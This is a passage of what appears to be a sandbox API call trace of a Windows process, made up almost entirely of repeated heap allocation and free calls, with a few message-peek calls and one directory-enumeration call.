returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30230e8 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0eb8 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3017fc0 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023080 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.019] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0eb8 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0121.019] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a363ce0, ftCreationTime.dwHighDateTime=0x1d4d109, ftLastAccessTime.dwLowDateTime=0x57c095a0, ftLastAccessTime.dwHighDateTime=0x1d4d49d, ftLastWriteTime.dwLowDateTime=0x57c095a0, ftLastWriteTime.dwHighDateTime=0x1d4d49d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VAl2x_eF9QxFAJr5rV", cAlternateFileName="VAL2X_~1")) returned 0 [0121.019] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0121.019] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde8f8 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022fb0 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde9a8 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdea00 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde3d0 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022f48 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30231b8 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023220 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde530 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023288 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde848 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30232f0 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde7f0 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde798 | out: hHeap=0x5e0000) returned 1 [0121.019] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023358 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde740 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30233c0 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde6e8 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde320 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023018 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde950 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093da8 | out: hHeap=0x5e0000) returned 1 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.020] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.020] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.020] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.021] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33af0 [0121.021] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.021] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.021] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.022] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.022] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.023] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.023] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.024] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.024] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.025] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.025] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0121.026] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.026] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, 